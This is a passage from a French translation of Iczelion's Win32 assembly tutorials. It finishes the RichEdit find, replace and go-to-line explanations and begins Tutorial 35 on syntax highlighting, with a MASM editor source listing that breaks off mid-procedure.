L'outil de recherche-de-texte est exécutée avec EM_FINDTEXTEX. Quand l'utilisateur clique sur le menuitem 'Find', le message IDM_FIND est envoyé et la DialogBox de recherche est affichée.

    invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
    .if eax!=0

Quand l'utilisateur tape le texte à rechercher et ensuite appuie sur le bouton OK, nous le plaçons dans le buffer FindBuffer.

        mov uFlags,0
        invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg

Si la chaîne de texte n'est pas nulle (vide), on continue en réinitialisant la variable uFlags à 0. Cette variable est employée pour stocker les Flags de recherche employés avec EM_FINDTEXTEX. Après ça, nous récupérons la sélection actuelle grâce à EM_EXGETSEL parce que nous en avons besoin pour connaître le point de départ de l'opération de recherche.

    invoke IsDlgButtonChecked,hWnd,IDC_DOWN
        .if eax==BST_CHECKED
            or uFlags,FR_DOWN
            mov eax,findtext.chrg.cpMin
            .if eax!=findtext.chrg.cpMax
                push findtext.chrg.cpMax
                pop findtext.chrg.cpMin
            .endif
            mov findtext.chrg.cpMax,-1
        .else
            mov findtext.chrg.cpMax,0
        .endif

La partie qui suit est pas mal rusée. On vérifie l'état du bouton radio de direction pour connaître le sens dans laquelle recherche doit s'effectuer. Si une recherche de haut en bas est spécifiée, on met uFlagsà FR_DOWN. Après ça, on vérifie si un bout de texte est actuellement sélectionné en comparant les valeurs de cpMin et cpMax. Si ces deux valeurs sont différentes, ça veut dire que quelque chose est bien sélectionné actuellement et on doit alors continuer la recherche en repartant de la fin de cette sélection jusqu'à la fin du texte contenu dans le Control. C'est pourquoi on a besoin de remplacer la valeur de cpMax par celle de cpMin et aussi de changer de la valeur de cpMax à-1 (0FFFFFFFFh). S'il n'y a aucune sélection actuelle, la gamme de chercher commence à la position du Caret courant (curseur clignotant) jusqu'à la fin du texte.

Si l'utilisateur veut faite une rechercher de bas en haut, on utilise la gamme s'étallant du début de la sélection jusqu'à l'origine du texte. C'est pourquoi il suffit seulement de mettre la valeur cpMaxà 0. Dans le cas de cette recherche ascendante, cpMin contient l'index du dernier caractère de la gamme de recherche et cpMax l'index du premier caractère de la gamme de recherche. C'est l'inverse d'une recherche en descendente.

        invoke IsDlgButtonChecked,hWnd,IDC_MATCHCASE
        .if eax==BST_CHECKED
            or uFlags,FR_MATCHCASE
        .endif
        invoke IsDlgButtonChecked,hWnd,IDC_WHOLEWORD
        .if eax==BST_CHECKED
            or uFlags,FR_WHOLEWORD
        .endif
        mov findtext.lpstrText,offset FindBuffer

On continue en vérifiant les cases à cocher pour déterminer les Flags de recherche, c'est-à-dire, FR_MATCHCASE et FR_WHOLEWORD. Finalement, on place l'offset du texte à rechercher dans le membre lpstrText.

        invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,uFlags,addr findtext
        .if eax!=-1
            invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
        .endif
    .endif

On peut maintenant utiliser EM_FINDTEXTEX. Après ça, nous examinons le résultat de cette recherche retourné par SendMessage. Si la valeur en retour est -1, c'est que rien n'a été trouvé dans la gamme de recherche. Dans le cas contraire, le membre chrgText de structure FINDTEXTEX est rempli avec les index des caractères du texte trouvé. Il suffit de le mettre sous sélection en utilisant le message EM_EXSETSEL.

L'opération de remplacement s'effectue pratiquement de la même manière.

    invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
    invoke GetDlgItemText,hWnd,IDC_REPLACEEDIT,addr ReplaceBuffer,sizeof ReplaceBuffer

Nous retrouvons le texte à rechercher et on le remplace par le texte à utiliser.

    mov findtext.chrg.cpMin,0
    mov findtext.chrg.cpMax,-1
    mov findtext.lpstrText,offset FindBuffer

Pour que ce soit simple, l'opération de remplacement affecte la totalité du texte du Control. Comme ça l'index de départ est 0 et l'index de fin est -1.

    mov settext.flags,ST_SELECTION
    mov settext.codepage,CP_ACP

On initialise la structure SETTEXTEX pour indiquer qu'on veut remplacer la sélection actuelle et utiliser le 'page code' du système par défaut.

    .while TRUE
        invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,FR_DOWN,addr findtext
        .if eax==-1
            .break
        .else
            invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
            invoke SendMessage,hwndRichEdit,EM_SETTEXTEX,addr settext,addr ReplaceBuffer
        .endif
    .endw

On entre dans une une boucle infinie, qui recherche le texte correspondant. Si quelque chose est trouvé, on le met en séléction avec le message EM_EXSETSEL et on le remplace avec le message EM_SETTEXTEX. Quand plus rien est trouvé, on sort de cette boucle.

'Find Next' (Rechercher le suivant) et 'Find Prev' (Rechercher le précédent) emploient le message EM_FINDTEXTEX de la même façon qu'on l'a fait pour l'opération 'Find' (Rechercher).

Nous allons maintenant examiner la fonction 'Go to Line' (Aller à la ligne). Quand l'utilisateur clique sur le menuitem 'Go to Line', on affiche une DialogBox comme celle ci-dessous.:

Quand l'utilisateur tape un numéro de ligne et presse le bouton Ok, nous débute l'opération.

    invoke GetDlgItemInt,hWnd,IDC_LINENO,NULL,FALSE
    mov LineNo,eax

On récupère le numéro de la ligne que l'utilisateur a entré dans l'Edit Control.

    invoke SendMessage,hwndRichEdit,EM_GETLINECOUNT,0,0
    .if eax>LineNo

On obtient le nombre de lignes dans le Control. Et on Vérifie si l'utilisateur a entré un numéro de ligne hors de la gamme.

        invoke SendMessage,hwndRichEdit,EM_LINEINDEX,LineNo,0

Si le numéro de ligne est valable, on déplace le Caret sur le premier caractère de cette ligne. Donc on envoie le message EM_LINEINDEX au Richedit Control. Ce message retourne l'index du premier caractère de la ligne indiquée. On envoie le numéro de cette ligne dans wParam et en retour, on obtient l'index du premier caractère.

        invoke SendMessage,hwndRichEdit,EM_SETSEL,eax,eax

Pour positionner le curseur, on utilise cette fois le message EM_SETSEL parce que les index de caractères ne sont pas encore présents dans la structure CHARRANGE, c'est pourquoi on doit sauvegarder les deux instructions (pour placer ces index dans la structure CHARRANGE).

        invoke SetFocus,hwndRichEdit
    .endif

A moins que le Richedit Control ne possède déjà le Focus, on ne verra pas le Caret. C'est pourquoi on appelle la fonction SetFocus.

[Iczelion's Win32 Assembly Homepage]

   Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 35: RichEdit Control: Syntax Hilighting

Tutorial 35: RichEdit Control:
Coloration Syntaxique

Avant la lecture de ce tutorial, laissez-moi vous avertir que c'est un sujet compliqué qui ne convient pas à un débutant. C'est le dernier de la série des tutorials sur les Richedit Controls.

Downloadez l'exemple.

Théorie

La coloration sytaxique ('Syntax hilighting') est un sujet de débat plutôt chaud pour ceux qui programment des éditeurs de texte. La meilleure méthode (à mon avis) c'est de coder un Richedit Contol sur mesure et c'est aussi l'approche retenue par un tas de logiciels commerciaux. Cependant, pour ceux d'entre nous qui n'avons pas le temps de coder un tel Control, le meilleur compromis c'est d'adapter un Control déjà existant pour l'adapter au mieux à nos besoins.

Jetons un coup d'oeil aux fonctionnalitées que le RichEdit Control nous offre pour nous aider dans le mécanisme de la Coloration Syntaxique. Je dois vous prévenir tout de suite que la méthode qui va suivre n'est pas la "bonne" : je souhaite simplement vous montrer le piège dans lequel beaucoup d'entre nous tombent. Le RichEdit Control est pourvu du message EM_SETCHARFORMAT que vous pouvez employer pour changer la couleur du texte. À première vue, ce message semble être la solution parfaite (je le sais parce que j'en est été la victime). Cependant, un examen plus poussé vous montrera plusieurs choses qui ne vont pas du tout :

  • EM_SETCHARFORMAT fonctionne uniquement avec un texte actuellement sous sélection ou tout le texte du Control. Si vous voulez changer la couleur du texte (hilight) d'un mot en particulier, vous devez d'abord le sélectionner.
  • EM_SETCHARFORMAT est très lent.
  • Il y a un problème avec la position du Caret dans le Richedit Control.

Avec ces deux problèmes, vous pouvez constater qu'utiliser EM_SETCHARFORMA serait un mauvais choix. Je vais vous montrer comment "corriger un peu" ces problèmes si c'est quand même l'approche que vous avez choisit.

La méthode que je vais utiliser ici est la "syntax hilighting just-in-time" (coloration syntaxique uniquement du texte actuellement visible à l'écran). Je colore seulement la portion de texte visible à l'écran. De cette façon la vitesse de coloration sera totalement indépendante de la taille du fichier. Peu importe sa taille, seulement la petite partie visible à cet instant sera affectée.

Comment faire ça? La réponse est simple:

  1. Sous-classez le Richedit Control et gérez le message WM_PAINT dans votre propre procédure de fenêtre
  2. Quand le message WM_PAINT est reçu, on appelle la procédure de fenêtre (WinProc) originale du Richedit Control pour le laisser mettre à jour l'écran comme d'habitude.
  3. Après ça, on réécrit les mots à colorer avec la nouvelle couleur.

Bien sûr, c'est pas simple : il y a toujours différents problèmes secondaires à résoudre, mais ce type de méthode fonctionne pas mal. La vitesse d'affichage est très satisfaisante.

Maintenant on va se concentré sur les détails. Le processus de sousclassification est simple et n'exige que peu d'attention. La partie vraiment compliquée c'est lorsque nous devons trouver une manière rapide de rechercher les mots à colorer. C'est d'autant plus compliqué qu'on ne doit pas colorer n'importe quel mot, en particulier on ne doit pas toucher à ceux des commentaires.

La méthode que j'emploie n'est pas la meilleure mais elle marche bien. Je suis sûr que vous pouvez en trouver une autre plus rapide. En attendant, voici la mienne:

  • Je crée un tableau de 256 dwords, initialisé à 0. Chaque dword correspond à un caractère ASCII possible, nommé ASMSyntaxArray. Par exemple, le 21ème dword représente le 20ème caractère ascii (espace). Je les utilise en tant que table de consultation rapide : Par exemple si j'ai le mot "include", je vais extraire le premier caractère (i) de ce mot et je vais faire une recherche du dword correspondant à cet index. Si ce dword est 0, je sais tout de suite qu'il n'y a aucun mot à colorer commençant par la lettre "i". Si le dword est différent de 0, il contient le pointeur qui est sur le membre des listes-imbriquées-WORDINFO de la structure WORDINFO laquelle contient l'information à propos du mot à colorer.
  • Je lis les mots à colorer et je crée une structure WORDINFO pour chacun d'entre eux.
            WORDINFO struct
                WordLen dd ? 		; La taille du mot utilisé pour une comparaison rapide
                pszWord dd ? 	 	; pointeur sur le mot
                pColor dd ? 		; Pointe sur le dword qui contient la couleur a employé pour colorer le mot
                NextLink dd ? 		; pointe sur la prochaine structure WORDINFO
            WORDINFO ends

Comme vous pouvez le voir, j'utilise la longueur du mot pour faire une seconde comparaison rapide. Si dans un premier temps le premier caractère du mot correspond, alors je compare par la suite sa longueur avec les mots disponibles. Chaque dword de ASMSyntaxArray pointe sur le début d'un tableau WORDINFO associé. Par exemple, le dword qui représente le caractère "i" contiendra le pointeur allant sur la liste-liée des mots qui commencent par "i". pColor est le membre qui pointe sur un dword qui contient la valeur de la couleur a employer pour colorer le mot. pszWord pointe sur le mot à colorer, (en minuscule).

  • La mémoire pour la liste liée est réservée par défaut en bloc comme ça c'est rapide et facile à nettoyer, en fait absolument aucun nettoyage est exigé.

La liste des mots clefs est stockée dans un fichier nommé "wordfile.txt" et j'y ai accès grâce à l'API GetPrivateProfileString. Je met à dispisition pas moins de 10 couleurs de syntaxe différentes, commençant à C1 jusqu'à C10. La table de couleur est nommé ASMColorArray. Le membre PColor de chaque structure WORDINFO pointe sur un dword de ASMColorArray. Comme ça c'est très simple de changer à la volée la couleur syntaxique des mots clés : vous changez juste de dword (pointant dans ASMColorArray) et tous les mots clefs qui utilisent cette couleur seront immédiatement affublés de la nouvelle couleur.

Exemple

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\gdi32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

WORDINFO struct
        WordLen dd ? 		; La taille du mot utilisé pour une comparaison rapide
        pszWord dd ? 	 	; pointeur sur le mot
        pColor dd ? 		; Pointe sur le dword qui contient la couleur a employé pour colorer le mot
        NextLink dd ? 		; pointe sur la prochaine structure WORDINFO
WORDINFO ends

.const
IDR_MAINMENU                   equ 101
IDM_OPEN                      equ  40001
IDM_SAVE                       equ 40002
IDM_CLOSE                      equ 40003
IDM_SAVEAS                     equ 40004
IDM_EXIT                       equ 40005
IDM_COPY                      equ  40006
IDM_CUT                       equ  40007
IDM_PASTE                      equ 40008
IDM_DELETE                     equ 40009
IDM_SELECTALL                  equ 40010
IDM_OPTION 			equ 40011
IDM_UNDO			equ 40012
IDM_REDO			equ 40013
IDD_OPTIONDLG                  equ 101
IDC_BACKCOLORBOX               equ 1000
IDC_TEXTCOLORBOX               equ 1001
IDR_MAINACCEL                 equ  105
IDD_FINDDLG                    equ 102
IDD_GOTODLG                    equ 103
IDD_REPLACEDLG                 equ 104
IDC_FINDEDIT                  equ  1000
IDC_MATCHCASE                  equ 1001
IDC_REPLACEEDIT                 equ 1001
IDC_WHOLEWORD                  equ 1002
IDC_DOWN                       equ 1003
IDC_UP                       equ   1004
IDC_LINENO                   equ   1005
IDM_FIND                       equ 40014
IDM_FINDNEXT                  equ  40015
IDM_REPLACE                     equ 40016
IDM_GOTOLINE                   equ 40017
IDM_FINDPREV                  equ  40018
RichEditID 			equ 300

.data
ClassName db "IczEditClass",0
AppName  db "IczEdit version 3.0",0
RichEditDLL db "riched20.dll",0
RichEditClass db "RichEdit20A",0
NoRichEdit db "Cannot find riched20.dll",0
ASMFilterString 		db "ASM Source code (*.asm)",0,"*.asm",0
                db "All Files (*.*)",0,"*.*",0,0
OpenFileFail db "Cannot open the file",0
WannaSave db "The data in the control is modified. Want to save it?",0
FileOpened dd FALSE
BackgroundColor dd 0FFFFFFh		; default to white
TextColor dd 0		; default to black
WordFileName db "\wordfile.txt",0
ASMSection db "ASSEMBLY",0
C1Key db "C1",0
C2Key db "C2",0
C3Key db "C3",0
C4Key db "C4",0
C5Key db "C5",0
C6Key db "C6",0
C7Key db "C7",0
C8Key db "C8",0
C9Key db "C9",0
C10Key db "C10",0
ZeroString db 0
ASMColorArray dd 0FF0000h,0805F50h,0FFh,666F00h,44F0h,5F8754h,4 dup(0FF0000h)
CommentColor dd 808000h

.data?
hInstance dd ?
hRichEdit dd ?
hwndRichEdit dd ?
FileName db 256 dup(?)
AlternateFileName db 256 dup(?)
CustomColors dd 16 dup(?)
FindBuffer db 256 dup(?)
ReplaceBuffer db 256 dup(?)
uFlags dd ?
findtext FINDTEXTEX <>
ASMSyntaxArray dd 256 dup(?)
hSearch dd ?		; handle to the search/replace dialog box
hAccel dd ?
hMainHeap dd ?		; heap handle
OldWndProc dd ?
RichEditVersion dd ?

.code
start:
    mov byte ptr [FindBuffer],0
    mov byte ptr [ReplaceBuffer],0
    invoke GetModuleHandle, NULL
    mov    hInstance,eax
    invoke LoadLibrary,addr RichEditDLL
    .if eax!=0
        mov hRichEdit,eax
        invoke GetProcessHeap
        mov hMainHeap,eax
        call FillHiliteInfo
        invoke WinMain, hInstance,0,0, SW_SHOWDEFAULT
        invoke FreeLibrary,hRichEdit
    .else
        invoke MessageBox,0,addr NoRichEdit,addr AppName,MB_OK or MB_ICONERROR
    .endif
    invoke ExitProcess,eax

WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:DWORD
    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInst
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,IDR_MAINMENU
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
           WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
           CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
           hInst,NULL
    mov   hwnd,eax
    invoke ShowWindow, hwnd,SW_SHOWNORMAL
    invoke UpdateWindow, hwnd
    invoke LoadAccelerators,hInstance,IDR_MAINACCEL
    mov hAccel,eax
    .while TRUE
        invoke GetMessage, ADDR msg,0,0,0
        .break .if (!eax)
        invoke IsDialogMessage,hSearch,addr msg
        .if eax==FALSE
            invoke TranslateAccelerator,hwnd,hAccel,addr msg
            .if eax==0
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
            .endif
        .endif
    .endw
    mov   eax,msg.wParam
    ret
WinMain endp

StreamInProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesRead:DWORD
    invoke ReadFile,hFile,pBuffer,NumBytes,pBytesRead,0
    xor eax,1
    ret
StreamInProc endp

StreamOutProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesWritten:DWORD
    invoke WriteFile,hFile,pBuffer,NumBytes,pBytesWritten,0
    xor eax,1
    ret
StreamOutProc endp

CheckModifyState proc hWnd:DWORD
    invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
    .if eax!=0
        invoke MessageBox,hWnd,addr WannaSave,addr AppName,MB_YESNOCANCEL
        .if eax==IDYES
            invoke SendMessage,hWnd,WM_COMMAND,IDM_SAVE,0
        .elseif eax==IDCANCEL
            mov eax,FALSE
            ret
        .endif
    .endif
    mov eax,TRUE
    ret
CheckModifyState endp

SetColor proc
    LOCAL cfm:CHARFORMAT
    invoke SendMessage,hwndRichEdit,EM_SETBKGNDCOLOR,0,BackgroundColor
    invoke RtlZeroMemory,addr cfm,sizeof cfm
    mov cfm.cbSize,sizeof cfm
    mov cfm.dwMask,CFM_COLOR
    push TextColor
    pop cfm.crTextColor
    invoke SendMessage,hwndRichEdit,EM_SETCHARFORMAT,SCF_ALL,addr cfm
    ret
SetColor endp

OptionProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL clr:CHOOSECOLOR
    .if uMsg==WM_INITDIALOG
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDC_BACKCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push BackgroundColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop BackgroundColor
                    invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDC_TEXTCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push TextColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop TextColor
                    invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDOK
                invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
                push eax
                invoke SetColor
                pop eax
                invoke SendMessage,hwndRichEdit,EM_SETMODIFY,eax,0
                invoke EndDialog,hWnd,0
            .endif
        .endif
    .elseif uMsg==WM_CTLCOLORSTATIC
        invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
        .if eax==lParam
            invoke CreateSolidBrush,BackgroundColor
            ret
        .else
            invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
            .if eax==lParam
                invoke CreateSolidBrush,TextColor
                ret
            .endif
        .endif
        mov eax,FALSE
        ret
    .elseif uMsg==WM_CLOSE
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
OptionProc endp

SearchProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
        invoke CheckRadioButton,hWnd,IDC_DOWN,IDC_UP,IDC_DOWN
        invoke SendDlgItemMessage,hWnd,IDC_FINDEDIT,WM_SETTEXT,0,addr FindBuffer
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDOK
                mov uFlags,0
                invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr findtext.chrg
                invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
                .if eax!=0
                    invoke IsDlgButtonChecked,hWnd,IDC_DOWN
                    .if eax==BST_CHECKED
                        or uFlags,FR_DOWN
                        mov eax,findtext.chrg.cpMin
                        .if eax!=findtext.chrg.cpMax
                            push findtext.chrg.cpMax
                            pop findtext.chrg.cpMin
                        .endif
                        mov findtext.chrg.cpMax,-1
                    .else
                        mov findtext.chrg.cpMax,0
                    .endif
                    invoke IsDlgButtonChecked,hWnd,IDC_MATCHCASE
                    .if eax==BST_CHECKED
                        or uFlags,FR_MATCHCASE
                    .endif
                    invoke IsDlgButtonChecked,hWnd,IDC_WHOLEWORD
                    .if eax==BST_CHECKED
                        or uFlags,FR_WHOLEWORD
                    .endif
                    mov findtext.lpstrText,offset FindBuffer
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,uFlags,addr findtext
                    .if eax!=-1
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                    .endif
                .endif
            .elseif ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .else
                mov eax,FALSE
                ret
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
SearchProc endp

ReplaceProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL settext:SETTEXTEX
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
        invoke SetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer
        invoke SetDlgItemText,hWnd,IDC_REPLACEEDIT,addr ReplaceBuffer
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDOK
                invoke GetDlgItemText,hWnd,IDC_FINDEDIT,addr FindBuffer,sizeof FindBuffer
                invoke GetDlgItemText,hWnd,IDC_REPLACEEDIT,addr ReplaceBuffer,sizeof ReplaceBuffer
                mov findtext.chrg.cpMin,0
                mov findtext.chrg.cpMax,-1
                mov findtext.lpstrText,offset FindBuffer
                mov settext.flags,ST_SELECTION
                mov settext.codepage,CP_ACP
                .while TRUE
                    invoke SendMessage,hwndRichEdit,EM_FINDTEXTEX,FR_DOWN,addr findtext
                    .if eax==-1
                        .break
                    .else
                        invoke SendMessage,hwndRichEdit,EM_EXSETSEL,0,addr findtext.chrgText
                        invoke SendMessage,hwndRichEdit,EM_SETTEXTEX,addr settext,addr ReplaceBuffer
                    .endif
                .endw
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
ReplaceProc endp

GoToProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL LineNo:DWORD
    LOCAL chrg:CHARRANGE
    .if uMsg==WM_INITDIALOG
        push hWnd
        pop hSearch
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDOK
                invoke GetDlgItemInt,hWnd,IDC_LINENO,NULL,FALSE
                mov LineNo,eax
                invoke SendMessage,hwndRichEdit,EM_GETLINECOUNT,0,0
                .if eax>LineNo
                    invoke SendMessage,hwndRichEdit,EM_LINEINDEX,LineNo,0
                    invoke SendMessage,hwndRichEdit,EM_SETSEL,eax,eax
                    invoke SetFocus,hwndRichEdit
                .endif
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        mov hSearch,0
        invoke EndDialog,hWnd,0
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
GoToProc endp

PrepareEditMenu proc hSubMenu:DWORD
    LOCAL chrg:CHARRANGE
    invoke SendMessage,hwndRichEdit,EM_CANPASTE,CF_TEXT,0
    .if eax==0		; no text in the clipboard
        invoke EnableMenuItem,hSubMenu,IDM_PASTE,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_PASTE,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_CANUNDO,0,0
    .if eax==0
        invoke EnableMenuItem,hSubMenu,IDM_UNDO,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_UNDO,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_CANREDO,0,0
    .if eax==0
        invoke EnableMenuItem,hSubMenu,IDM_REDO,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_REDO,MF_ENABLED
    .endif
    invoke SendMessage,hwndRichEdit,EM_EXGETSEL,0,addr chrg
    mov eax,chrg.cpMin
    .if eax==chrg.cpMax		; no current selection
        invoke EnableMenuItem,hSubMenu,IDM_COPY,MF_GRAYED
        invoke EnableMenuItem,hSubMenu,IDM_CUT,MF_GRAYED
        invoke EnableMenuItem,hSubMenu,IDM_DELETE,MF_GRAYED
    .else
        invoke EnableMenuItem,hSubMenu,IDM_COPY,MF_ENABLED
        invoke EnableMenuItem,hSubMenu,IDM_CUT,MF_ENABLED
        invoke EnableMenuItem,hSubMenu,IDM_DELETE,MF_ENABLED
    .endif
    ret
PrepareEditMenu endp

ParseBuffer proc uses edi esi hHeap:DWORD,pBuffer:DWORD, nSize:DWORD, ArrayOffset:DWORD,pArray:DWORD
    LOCAL buffer[128]:BYTE
    LOCAL InProgress:DWORD
    mov InProgress,FALSE
    lea esi,buffer
    mov edi,pBuffer
    invoke CharLower,edi
    mov ecx,nSize
SearchLoop:
    or ecx,ecx
    jz Finished
    cmp byte ptr [edi]," "
    je EndOfWord
    cmp byte ptr [edi],9 	; tab
    je EndOfWord
    mov InProgress,TRUE
    mov al,byte ptr [edi]
    mov byte ptr [esi],al
    inc esi
SkipIt:
    inc edi
    dec ecx
    jmp SearchLoop
EndOfWord:
    cmp InProgress,TRUE
    je WordFound
    jmp SkipIt
WordFound:
    mov byte ptr [esi],0
    push ecx
    invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,sizeof WORDINFO
    push esi
    mov esi,eax
    assume esi:ptr WORDINFO
    invoke lstrlen,addr buffer
    mov [esi].WordLen,eax
    push ArrayOffset
    pop [esi].pColor
    inc eax
    invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,eax
    mov [esi].pszWord,eax
    mov edx,eax
    invoke lstrcpy,edx,addr buffer
    mov eax,pArray
    movzx edx,byte ptr [buffer]
    shl edx,2		; multiply by 4
    add eax,edx
    .if dword ptr [eax]==0
        mov dword ptr [eax],esi
    .else
        push dword ptr [eax]
        pop [esi].NextLink
        mov dword ptr [eax],esi
    .endif
    pop esi
    pop ecx
    lea esi,buffer
    mov InProgress,FALSE
    jmp SkipIt
Finished:
    .if InProgress==TRUE
        invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,sizeof WORDINFO
        push esi
        mov esi,eax
        assume esi:ptr WORDINFO
        invoke lstrlen,addr buffer
        mov [esi].WordLen,eax
        push ArrayOffset
        pop [esi].pColor
        inc eax
        invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,eax
        mov [esi].pszWord,eax
        mov edx,eax
        invoke lstrcpy,edx,addr buffer
        mov eax,pArray
        movzx edx,byte ptr [buffer]
        shl edx,2		; multiply by 4
        add eax,edx
        .if dword ptr [eax]==0
            mov dword ptr [eax],esi
        .else
            push dword ptr [eax]
            pop [esi].NextLink
            mov dword ptr [eax],esi
        .endif
        pop esi
    .endif
    ret
ParseBuffer endp

FillHiliteInfo proc uses edi
    LOCAL buffer[1024]:BYTE
    LOCAL pTemp:DWORD
    LOCAL BlockSize:DWORD
    invoke RtlZeroMemory,addr ASMSyntaxArray,sizeof ASMSyntaxArray
    invoke GetModuleFileName,hInstance,addr buffer,sizeof buffer
    invoke lstrlen,addr buffer
    mov ecx,eax
    dec ecx
    lea edi,buffer
    add edi,ecx
    std
    mov al,"\"
    repne scasb
    cld
    inc edi
    mov byte ptr [edi],0
    invoke lstrcat,addr buffer,addr WordFileName
    invoke GetFileAttributes,addr buffer
    .if eax!=-1
        mov BlockSize,1024*10
        invoke HeapAlloc,hMainHeap,0,BlockSize
        mov pTemp,eax
@@:
        invoke GetPrivateProfileString,addr ASMSection,addr C1Key,addr ZeroString,pTemp,BlockSize,addr buffer
        .if eax!=0
            inc eax
            .if eax==BlockSize	; the buffer is too small
                add BlockSize,1024*10
                invoke HeapReAlloc,hMainHeap,0,pTemp,BlockSize
                mov pTemp,eax
                jmp @B
            .endif
            mov edx,offset ASMColorArray
